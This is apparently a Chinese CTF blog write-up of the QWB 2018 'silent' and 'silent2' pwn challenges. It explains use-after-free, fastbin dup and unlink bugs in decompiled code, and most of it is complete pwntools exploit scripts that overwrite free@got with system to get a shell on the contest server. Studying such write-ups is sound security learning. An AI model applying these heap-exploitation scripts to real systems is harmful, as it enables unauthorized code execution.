kir[A]'s 小黑屋

qwb-pwn-silent1&2

字数统计: 716阅读时长: 3 min
2018/04/04 Share

好菜,只做了一题,慢慢补~

silent

程序有3个功能,分别是add,delete和edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 add_()
{
size_t size; // [rsp+0h] [rbp-20h]
unsigned __int64 i; // [rsp+8h] [rbp-18h]
void *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
__isoc99_scanf("%lu", &size);
getchar();
v3 = malloc(size);
read_(v3, size);
for ( i = 0LL; i <= 9 && s[i]; ++i )
;
if ( i == 10 )
exit(0);
s[i] = (char *)v3;
return 0LL;
}

在add中可以控制malloc的大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
signed __int64 free_()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 < 0 || v1 > 9 )
return 0xFFFFFFFFLL;
free(s[v1]);
return 0LL;
}

free之后没有清空指针,可以进行fastbin dup修改got,在0x601ffa处发现满足size条件,要求fastbin大小为0x60,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

remote_addr = '39.107.32.132'
remote_port = 10000
p = remote(remote_addr,remote_port)
elf = ELF('./'+target)

def add(size,content):
p.sendline('1')
p.sendline(str(size))
p.sendline(content)

def delete(id):
p.sendline('2')
p.sendline(str(id))

add(80,'a'*79)
add(80,'b'*79)
add(80,'/bin/sh\x00'.ljust(79,'\x01'))

delete(0) #a
delete(1) #b->a
delete(0) #a->b->a

fake_addr = 0x601ffa
free_got = 0x602018
payload = p64(fake_addr).ljust(79,'\x01')
add(80,payload) #a

add(80,'d'*79) #b
add(80,'e'*79) #a

payload = '$0'+'\x00'*12+p64(elf.plt['system'])
add(80,payload)
delete(2) #delete(6)
p.interactive()

方法二:这里要用到edit的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
signed __int64 edit_()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 < 0 || v1 > 9 )
return 0xFFFFFFFFLL;
v2 = strlen(s[v1]);
read_(s[v1], v2 + 1);
read_(&unk_602120, 48LL);
return 0LL;
}

思路是:通过edit修改fastbin中的fd,然后修改ID=0的地址,进行任意地址写。

脚本如下:(不加sleep,不保证每次都成功)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def edit(id,content,content2):
p.sendline('3')
p.sendline(str(id))
p.send(content)
p.send(content2)

add(0x60,'a'*0x5f)
add(0x60,'a'*0x5f)
add(0x70,'/bin/sh\x00')

delete(1) #a
delete(0) #b->a

edit(0,p64(0x60209d),'\n') #修改a的fd
add(0x60,'c'*0x5f) #a
add(0x60,'a'*0x13+p64(0x602018)) #修改ID=0的地址为free@got

edit(0,p64(0x400730),'\n') #改成system@plt
delete(4)
p.interactive()

silent2

大体跟1差不多,不过这里add限制了大小,只能0x10或大于0x80,那么可以利用unsorted bins进行unlink

1
2
3
4
5
6
__int64 add_()
{
if ( size != 0x10 && size <= 0x7F ) //这里改了
exit(0);
v3 = malloc(size);
}

思路是:先申请两个0x100大小的chunk,然后free掉,再申请一个0x210的chunk,就会利旧刚刚free出来那两个chunk的空间,使用edit构造两个fake chunk(fake chunk1是free chunk,fake chunk2是allocated chunk)

再次delete(4)的时候,会触发unlink,最终结果是p_addr位置的地址就会改写是&p_addr-0x18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def add(size,content):
p.sendline('1')
p.sendline(str(size))
p.sendline(content)

def delete(id):
p.sendline('2')
p.sendline(str(id))

def edit(id,content,content2):
p.sendline('3')
p.sendline(str(id))
p.send(content)
p.send(content2)

list_addr = 0x6020C0

add(0x100,'AAAA') #0
add(0x100,'BBBB') #1
add(0x100,'CCCC') #2
add(0x100,'DDDD') #3 <-
add(0x100,'EEEE') #4
delete(3)
delete(4)
payload = p64(0)+p64(0x101)+p64(list_addr+0x18-0x18)+p64(list_addr+0x18-0x10)+'A'*(0x100-0x20)+p64(0x100)+p64(0x210-0x100) # fake chunk
add(0x210, payload) #5 == 3+4
delete(4) # double free
edit(3,p64(elf.got['free']),'\n')
edit(0,p64(elf.plt['system']),'\n')
add(0x100, '/bin/sh\x00') #6
delete(6)

p.interactive()
CATALOG
  1. 1. silent
  2. 2. silent2